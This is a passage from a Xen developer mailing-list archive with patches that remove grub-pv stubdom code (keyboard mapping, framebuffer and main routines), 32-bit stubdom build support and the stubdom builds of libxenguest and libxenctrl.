-    [ 11 ] = '0',
-    [ 12 ] = '-',
-    [ 13 ] = '=',
-    [ 14 ] = '\b',
-    [ 15 ] = '\t',
-    [ 16 ] = 'q',
-    [ 17 ] = 'w',
-    [ 18 ] = 'e',
-    [ 19 ] = 'r',
-    [ 20 ] = 't',
-    [ 21 ] = 'y',
-    [ 22 ] = 'u',
-    [ 23 ] = 'i',
-    [ 24 ] = 'o',
-    [ 25 ] = 'p',
-    [ 26 ] = '[',
-    [ 27 ] = ']',
-    [ 28 ] = '\n',
-
-    [ 30 ] = 'a',
-    [ 31 ] = 's',
-    [ 32 ] = 'd',
-    [ 33 ] = 'f',
-    [ 34 ] = 'g',
-    [ 35 ] = 'h',
-    [ 36 ] = 'j',
-    [ 37 ] = 'k',
-    [ 38 ] = 'l',
-    [ 39 ] = ';',
-    [ 40 ] = '\'',
-    [ 41 ] = '`',
-
-    [ 43 ] = '\\',
-    [ 44 ] = 'z',
-    [ 45 ] = 'x',
-    [ 46 ] = 'c',
-    [ 47 ] = 'v',
-    [ 48 ] = 'b',
-    [ 49 ] = 'n',
-    [ 50 ] = 'm',
-    [ 51 ] = ',',
-    [ 52 ] = '.',
-    [ 53 ] = '/',
-
-    [ 55 ] = '*',
-    [ 57 ] = ' ',
-
-    [ 71 ] = '7',
-    [ 72 ] = '8',
-    [ 73 ] = '9',
-    [ 74 ] = '-',
-    [ 75 ] = '4',
-    [ 76 ] = '5',
-    [ 77 ] = '6',
-    [ 78 ] = '+',
-    [ 79 ] = '1',
-    [ 80 ] = '2',
-    [ 81 ] = '3',
-    [ 82 ] = '0',
-    [ 83 ] = '.',
-
-    [ 86 ] = '<',
-
-    [ 96 ] = '\n',
-
-    [ 98 ] = '/',
-
-    [ 102 ] = 1,  /* home */
-    [ 103 ] = 16, /* up */
-    [ 104 ] = 7,  /* page up */
-    [ 105 ] = 2,  /* left */
-    [ 106 ] = 6,  /* right */
-    [ 107 ] = 5,  /* end */
-    [ 108 ] = 14, /* down */
-    [ 109 ] = 3,  /* page down */
-
-    [ 111 ] = 4,  /* delete */
-};
-
-static char linux2ascii_shifted[] = {
-    [ 1 ] = 27,
-    [ 2 ] = '!',
-    [ 3 ] = '@',
-    [ 4 ] = '#',
-    [ 5 ] = '$',
-    [ 6 ] = '%',
-    [ 7 ] = '^',
-    [ 8 ] = '&',
-    [ 9 ] = '*',
-    [ 10 ] = '(',
-    [ 11 ] = ')',
-    [ 12 ] = '_',
-    [ 13 ] = '+',
-    [ 14 ] = '\b',
-    [ 15 ] = '\t',
-    [ 16 ] = 'Q',
-    [ 17 ] = 'W',
-    [ 18 ] = 'E',
-    [ 19 ] = 'R',
-    [ 20 ] = 'T',
-    [ 21 ] = 'Y',
-    [ 22 ] = 'U',
-    [ 23 ] = 'I',
-    [ 24 ] = 'O',
-    [ 25 ] = 'P',
-    [ 26 ] = '{',
-    [ 27 ] = '}',
-    [ 28 ] = '\n',
-
-    [ 30 ] = 'A',
-    [ 31 ] = 'S',
-    [ 32 ] = 'D',
-    [ 33 ] = 'F',
-    [ 34 ] = 'G',
-    [ 35 ] = 'H',
-    [ 36 ] = 'J',
-    [ 37 ] = 'K',
-    [ 38 ] = 'L',
-    [ 39 ] = ':',
-    [ 40 ] = '"',
-    [ 41 ] = '~',
-
-    [ 43 ] = '|',
-    [ 44 ] = 'Z',
-    [ 45 ] = 'X',
-    [ 46 ] = 'C',
-    [ 47 ] = 'V',
-    [ 48 ] = 'B',
-    [ 49 ] = 'N',
-    [ 50 ] = 'M',
-    [ 51 ] = '<',
-    [ 52 ] = '>',
-    [ 53 ] = '?',
-
-    [ 55 ] = '*',
-    [ 57 ] = ' ',
-
-    [ 71 ] = '7',
-    [ 72 ] = '8',
-    [ 73 ] = '9',
-    [ 74 ] = '-',
-    [ 75 ] = '4',
-    [ 76 ] = '5',
-    [ 77 ] = '6',
-    [ 78 ] = '+',
-    [ 79 ] = '1',
-    [ 80 ] = '2',
-    [ 81 ] = '3',
-    [ 82 ] = '0',
-    [ 83 ] = '.',
-
-    [ 86 ] = '>',
-
-    [ 96 ] = '\n',
-
-    [ 98 ] = '/',
-
-    [ 102 ] = 1,  /* home */
-    [ 103 ] = 16, /* up */
-    [ 104 ] = 7,  /* page up */
-    [ 105 ] = 2,  /* left */
-    [ 106 ] = 6,  /* right */
-    [ 107 ] = 5,  /* end */
-    [ 108 ] = 14, /* down */
-    [ 109 ] = 3,  /* page down */
-
-    [ 111 ] = 4,  /* delete */
-};
-
-int console_getkey (void)
-{
-    static int shift, control, alt, caps_lock;
-
-    if (!has_ev)
-        has_ev = kbdfront_receive(kbd_dev, &ev, 1);
-    if (!has_ev)
-        return 0;
-
-    has_ev = 0;
-    if (ev.type != XENKBD_TYPE_KEY)
-        return 0;
-
-    if (ev.key.keycode == 42 || ev.key.keycode == 54) {
-        caps_lock = 0;
-        shift = ev.key.pressed;
-        return 0;
-    }
-    if (ev.key.keycode == 58) {
-        caps_lock ^= 1;
-        return 0;
-    }
-    if (ev.key.keycode == 29 || ev.key.keycode == 97) {
-        control = ev.key.pressed;
-        return 0;
-    }
-    if (ev.key.keycode == 56) {
-        alt = ev.key.pressed;
-        return 0;
-    }
-
-    if (!ev.key.pressed)
-        return 0;
-
-    if (ev.key.keycode < sizeof(linux2ascii) / sizeof(*linux2ascii)) {
-        char val;
-        if (shift || caps_lock)
-            val = linux2ascii_shifted[ev.key.keycode];
-        else
-            val = linux2ascii[ev.key.keycode];
-        if (control)
-            val &= ~0x60;
-        return val;
-    }
-
-    return 0;
-}
-
-static DECLARE_MUTEX_LOCKED(kbd_sem);
-static void kbd_thread(void *p)
-{
-    kbd_dev = init_kbdfront(NULL, 1);
-    up(&kbd_sem);
-}
-
-struct fbfront_dev *fb_open(void *fb, int width, int height, int depth)
-{
-    unsigned long *mfns;
-    int linesize = width * (depth / 8);
-    int memsize = linesize * height;
-    int numpages = (memsize + PAGE_SIZE - 1) / PAGE_SIZE;
-    int i;
-
-    create_thread("kbdfront", kbd_thread, &kbd_sem);
-
-    mfns = malloc(numpages * sizeof(*mfns));
-    for (i = 0; i < numpages; i++) {
-        memset(fb + i * PAGE_SIZE, 0, PAGE_SIZE);
-        mfns[i] = virtual_to_mfn(fb + i * PAGE_SIZE);
-    }
-    fb_dev = init_fbfront(NULL, mfns, width, height, depth, linesize, numpages);
-    free(mfns);
-
-    if (!fb_dev)
-        return NULL;
-
-    down(&kbd_sem);
-    if (!kbd_dev)
-        return NULL;
-
-    return fb_dev;
-}
-
-void kbd_close(void *foo)
-{
-    shutdown_kbdfront(kbd_dev);
-    kbd_dev = NULL;
-}
-
-void fb_close(void)
-{
-    create_thread("kbdfront close", kbd_close, NULL);
-    shutdown_fbfront(fb_dev);
-    fb_dev = NULL;
-}
-
-/*
- * Misc
- */
-
-int getrtsecs (void)
-{
-    struct timeval tv;
-    gettimeofday(&tv, NULL);
-    return tv.tv_sec % 10 + ((tv.tv_sec / 10) % 6) * 0x10;
-}
-
-int currticks (void)
-{
-    struct timeval tv;
-    gettimeofday(&tv, NULL);
-    return ((tv.tv_sec * 1000000ULL + tv.tv_usec) * TICKS_PER_SEC) / 1000000;
-}
-
-void __attribute__ ((noreturn)) grub_reboot (void)
-{
-    for ( ;; )
-    {
-        struct sched_shutdown sched_shutdown = { .reason = SHUTDOWN_reboot };
-        HYPERVISOR_sched_op(SCHEDOP_shutdown, &sched_shutdown);
-    }
-}
-
-#define SCRATCH_MEMSIZE (4 * 1024 * 1024)
-
-/* Note: not allocating it dynamically permits to make sure it lays below 4G
- * for grub's 32bit pointers to work */
-char grub_scratch_mem[SCRATCH_MEMSIZE] __attribute__((aligned(PAGE_SIZE)));
-
-int main(int argc, char **argv)
-{
-    if (argc > 1 && memcmp(argv[1], "--vtpm-label=", 13) == 0) {
-        vtpm_label = argv[1] + 13;
-        argc--;
-        argv++;
-    }
-
-    if (argc > 1) {
-        strncpy(config_file, argv[1], sizeof(config_file) - 1);
-        config_file[sizeof(config_file) - 1] = 0;
-        if (!strncmp(config_file, "(nd)", 4))
-            preset_menu = "dhcp";
-    } else if (start_info.mod_len)
-        preset_menu = (void*) start_info.mod_start;
-    else
-        preset_menu = "dhcp --with-configfile";
-
-    mbi.drives_addr = BOOTSEC_LOCATION + (60 * 1024);
-    mbi.drives_length = 0;
-
-    mbi.boot_loader_name = (unsigned long) "GNU GRUB " VERSION;
-    mbi.mem_lower = (start_info.nr_pages * PAGE_SIZE) / 1024;
-    mbi.mem_upper = 0;
-    saved_drive = boot_drive;
-    saved_partition = install_partition;
-
-    init_disk();
-
-    /* Try to make sure the client part got launched */
-    sleep(1);
-    cmain();
-    printk("cmain returned!\n");
-}
diff --git a/stubdom/grub/mini-os.h b/stubdom/grub/mini-os.h
deleted file mode 100644
index 9ec2bda014..0000000000
--- a/stubdom/grub/mini-os.h
+++ /dev/null
@@ -1,7 +0,0 @@
-extern int blk_nb;
-extern struct blkfront_dev **blk_dev;
-extern struct netfront_dev *net_dev;
-extern struct kbdfront_dev *kbd_dev;
-extern struct fbfront_dev *fb_dev;
-
-extern char* vtpm_label;
diff --git a/stubdom/grub/minios.cfg b/stubdom/grub/minios.cfg
deleted file mode 100644
index 5145b357e0..0000000000
--- a/stubdom/grub/minios.cfg
+++ /dev/null
@@ -1,4 +0,0 @@
-CONFIG_LIBC=y
-CONFIG_LWIP=n
-CONFIG_SPARSE_BSS=n
-CONFIG_TPMFRONT=y
diff --git a/stubdom/grub/osdep.h b/stubdom/grub/osdep.h
deleted file mode 100644
index 1d3e50adbf..0000000000
--- a/stubdom/grub/osdep.h
+++ /dev/null
@@ -1,30 +0,0 @@
-#ifndef __OSDEP_H__
-#define __OSDEP_H__
-
-#include <byteswap.h>
-#define swap32(x) bswap_32(x)
-#define swap16(x) bswap_16(x)
-
-#include <machine/endian.h>
-#if BYTE_ORDER == BIG_ENDIAN
-#define htons(x) (x)
-#define ntohs(x) (x)
-#define htonl(x) (x)
-#define ntohl(x) (x)
-#else
-#define htons(x) swap16(x)
-#define ntohs(x) swap16(x)
-#define htonl(x) swap32(x)
-#define ntohl(x) swap32(x)
-#endif
-
-typedef unsigned long Address;
-
-/* ANSI prototyping macro */
-#ifdef  __STDC__
-#define P(x)	x
-#else
-#define P(x)	()
-#endif
-
-#endif
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 07 08:35:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 08:35:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356032.1610697 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1Gu-0000jF-Gu; Tue, 07 Jul 2026 08:35:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356032.1610697; Tue, 07 Jul 2026 08:35:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1Gu-0000j8-Cn; Tue, 07 Jul 2026 08:35:16 +0000
Received: by outflank-mailman (input) for mailman id 1356032;
 Tue, 07 Jul 2026 08:35:15 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wh1Gt-0000gR-5q
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 08:35:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh1Gs-003Bkj-Ic
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 10:35:14 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a4cba42-5cb7-0a2a0a5109dd-0a2a45089baa-0
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:35:14 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a4cba42-edec-0a2a45080019-c387df82b802-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:35:14 +0200
Received: from imap1.dmz-prg2.suse.org (unknown [10.150.64.97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id 1DE9F73FE0;
 Tue,  7 Jul 2026 08:35:14 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id CC3C4779AE;
 Tue,  7 Jul 2026 08:35:13 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id X3N/MEG6TGrUDAAAD6G6ig
 (envelope-from <jgross@suse.com>); Tue, 07 Jul 2026 08:35:13 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783413314; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=ytHMl7EgcRXd5aw1fkaeFRas4BGpG3cKej1FzdGFOPc=;
	b=nwyCMHBQXaFNbsWebrSrm82mTBJSIJ69cXFLBvVCaBWMYSmYnePxfLOQNorGfHCVBAcfj2
	wPEkFlV2FJcnD05FWxqaWm+7OK5lWXieGXUM7JdSoodatCxxdjXJgDe4FGMnz9Nka9c7AH
	2UkltEFWj/0zRtDjvutJYa/7DH1y23Q=
Authentication-Results: smtp-out1.suse.de;
	none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783413314; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=ytHMl7EgcRXd5aw1fkaeFRas4BGpG3cKej1FzdGFOPc=;
	b=nwyCMHBQXaFNbsWebrSrm82mTBJSIJ69cXFLBvVCaBWMYSmYnePxfLOQNorGfHCVBAcfj2
	wPEkFlV2FJcnD05FWxqaWm+7OK5lWXieGXUM7JdSoodatCxxdjXJgDe4FGMnz9Nka9c7AH
	2UkltEFWj/0zRtDjvutJYa/7DH1y23Q=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Samuel Thibault <samuel.thibault@ens-lyon.org>
Subject: [PATCH 2/5] stubdom: remove support for building in 32-bit mode
Date: Tue,  7 Jul 2026 10:34:53 +0200
Message-ID: <20260707083459.226297-3-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260707083459.226297-1-jgross@suse.com>
References: <20260707083459.226297-1-jgross@suse.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Spam-Score: -2.79
X-Spamd-Result: default: False [-2.79 / 50.00];
	BAYES_HAM(-3.00)[99.99%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	NEURAL_HAM_SHORT(-0.19)[-0.973];
	MIME_GOOD(-0.10)[text/plain];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	ARC_NA(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	FROM_HAS_DN(0.00)[];
	MIME_TRACE(0.00)[0:+];
	DBL_BLOCKED_OPENRESOLVER(0.00)[suse.com:email,suse.com:mid];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	RCPT_COUNT_SEVEN(0.00)[10];
	RCVD_COUNT_TWO(0.00)[2];
	FROM_EQ_ENVFROM(0.00)[];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	TO_DN_SOME(0.00)[];
	RCVD_TLS_ALL(0.00)[]
X-Spam-Level: 
X-purgate-ID: tlsNG-c1860d/1783413314-4092D3FC-E44BC6A0/0/0
X-purgate-type: clean
X-purgate-size: 1631

With the removal of grub-pv there is no 32-bit stubdom left.

Remove 32-bit support from the stubdom build system.

Signed-off-by: Juergen Gross <jgross@suse.com>
---
 Makefile         |  3 ---
 stubdom/Makefile | 11 -----------
 2 files changed, 14 deletions(-)

diff --git a/Makefile b/Makefile
index eb388726b0..ea432e21b0 100644
--- a/Makefile
+++ b/Makefile
@@ -146,9 +146,6 @@ install-tools: install-tools-public-headers
 .PHONY: install-stubdom
 install-stubdom: mini-os-dir install-tools-public-headers
 	$(MAKE) -C stubdom install
-ifeq (x86_64,$(XEN_TARGET_ARCH))
-	XEN_TARGET_ARCH=x86_32 $(MAKE) -C stubdom install-grub-if-enabled
-endif
 
 .PHONY: tools/firmware/seabios-dir-force-update
 tools/firmware/seabios-dir-force-update:
diff --git a/stubdom/Makefile b/stubdom/Makefile
index 850e8544ca..2698bddc9d 100644
--- a/stubdom/Makefile
+++ b/stubdom/Makefile
@@ -31,15 +31,7 @@ endef
 $(foreach lib,$(LIBS_LIBS),$(eval $(call LIB_deps,$(lib))))
 
 GNU_TARGET_ARCH:=$(XEN_TARGET_ARCH)
-ifeq ($(XEN_TARGET_ARCH),x86_32)
-GNU_TARGET_ARCH:=i686
-endif
 
-ifeq ($(GNU_TARGET_ARCH), i686)
-TARGET_CFLAGS=
-NEWLIB_CFLAGS+=-D_I386MACH_ALLOW_HW_INTERRUPTS
-STUBDOM_SUPPORTED=1
-endif
 ifeq ($(GNU_TARGET_ARCH), x86_64)
 TARGET_CFLAGS=-mno-red-zone
 NEWLIB_CFLAGS+=-D_I386MACH_ALLOW_HW_INTERRUPTS
@@ -179,9 +171,6 @@ gmp-$(GMP_VERSION).tar.bz2:
 	$(FETCHER) $@ $(GMP_URL)/$@
 
 .PHONY: cross-gmp
-ifeq ($(XEN_TARGET_ARCH), x86_32)
-   GMPEXT=ABI=32
-endif
 gmp-$(XEN_TARGET_ARCH): gmp-$(GMP_VERSION).tar.bz2 $(NEWLIB_STAMPFILE)
 	tar xjf $<
 	rm $@ -rf || :
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 07 08:35:21 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 08:35:21 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356033.1610706 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1Gz-00011i-O6; Tue, 07 Jul 2026 08:35:21 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356033.1610706; Tue, 07 Jul 2026 08:35:21 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1Gz-00011Z-Ks; Tue, 07 Jul 2026 08:35:21 +0000
Received: by outflank-mailman (input) for mailman id 1356033;
 Tue, 07 Jul 2026 08:35:20 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wh1Gy-00010I-KF
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 08:35:20 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh1Gy-003q4B-0U
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 10:35:20 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a4cba44-e002-0a2a0a5209dd-0a2a4503dd90-16
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:35:19 +0200
Received: from [195.135.223.131] (helo=smtp-out2.suse.de)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a4cba47-ec1a-0a2a45030019-c387df83cd70-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:35:19 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out2.suse.de (Postfix) with ESMTPS id 9732E7586F;
 Tue,  7 Jul 2026 08:35:19 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 72BB9779AE;
 Tue,  7 Jul 2026 08:35:19 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id SauMGke6TGreDAAAD6G6ig
 (envelope-from <jgross@suse.com>); Tue, 07 Jul 2026 08:35:19 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783413319; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=+rR6a7u62PrIE8LmzzOCco11yRON8r8BBfjyeOxn53M=;
	b=Sd/wpGV1rTZQA0hF2qVWLuH15AphoRdkudGmfveb7qfIrEceSNn98z4R7/5n0bCp3FZjHs
	XaiYV7enKkiX6jUsNyC6rsAx589aEgM3uobU6E8WLiZ6KZE7LAfK/BeEXvvD1Ny9fcYqbt
	KMyhfnP99ysy7tHvQo9UrPrPXWlTrJ4=
Authentication-Results: smtp-out2.suse.de;
	dkim=pass header.d=suse.com header.s=susede1 header.b="Sd/wpGV1"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783413319; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=+rR6a7u62PrIE8LmzzOCco11yRON8r8BBfjyeOxn53M=;
	b=Sd/wpGV1rTZQA0hF2qVWLuH15AphoRdkudGmfveb7qfIrEceSNn98z4R7/5n0bCp3FZjHs
	XaiYV7enKkiX6jUsNyC6rsAx589aEgM3uobU6E8WLiZ6KZE7LAfK/BeEXvvD1Ny9fcYqbt
	KMyhfnP99ysy7tHvQo9UrPrPXWlTrJ4=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Samuel Thibault <samuel.thibault@ens-lyon.org>
Subject: [PATCH 3/5] stubdom: remove building of libxenguest and libxenctrl
Date: Tue,  7 Jul 2026 10:34:54 +0200
Message-ID: <20260707083459.226297-4-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260707083459.226297-1-jgross@suse.com>
References: <20260707083459.226297-1-jgross@suse.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Rspamd-Action: no action
X-Spam-Level: 
X-Spamd-Result: default: False [-3.01 / 50.00];
	BAYES_HAM(-3.00)[99.99%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	R_DKIM_ALLOW(-0.20)[suse.com:s=susede1];
	NEURAL_HAM_SHORT(-0.20)[-0.998];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	MIME_TRACE(0.00)[0:+];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	ARC_NA(0.00)[];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	RCVD_TLS_ALL(0.00)[];
	DKIM_TRACE(0.00)[suse.com:+];
	RCVD_COUNT_TWO(0.00)[2];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	TO_DN_SOME(0.00)[];
	DNSWL_BLOCKED(0.00)[2a07:de40:b281:106:10:150:64:167:received,2a07:de40:b281:104:10:150:64:97:from];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	RCPT_COUNT_THREE(0.00)[4];
	DBL_BLOCKED_OPENRESOLVER(0.00)[suse.com:email,suse.com:dkim,suse.com:mid]
X-Rspamd-Server: rspamd2.dmz-prg2.suse.org
X-Rspamd-Queue-Id: 9732E7586F
X-Spam-Score: -3.01
X-purgate-ID: tlsNG-33051d/1783413319-06D2B5D1-FD6C0340/0/0
X-purgate-type: clean
X-purgate-size: 784

grub-pv was the last user of the stubdom variants of libxenguest and
libxenctrl.

Remove both libraries from the stubdom build system.

Signed-off-by: Juergen Gross <jgross@suse.com>
---
 stubdom/Makefile | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/stubdom/Makefile b/stubdom/Makefile
index 2698bddc9d..40b6ececf1 100644
--- a/stubdom/Makefile
+++ b/stubdom/Makefile
@@ -256,9 +256,7 @@ $(CROSS_ROOT): cross-newlib cross-zlib cross-libpci
 # libraries under tools/libs
 #######
 
-STUB_LIBS := toolcore toollog evtchn gnttab call foreignmemory devicemodel ctrl guest manage
-
-LIBDEP_guest := cross-zlib
+STUB_LIBS := toolcore toollog evtchn gnttab call foreignmemory devicemodel manage
 
 #######
 # common handling
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 07 08:35:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 08:35:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356038.1610715 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1H4-0001Ot-Vc; Tue, 07 Jul 2026 08:35:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356038.1610715; Tue, 07 Jul 2026 08:35:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
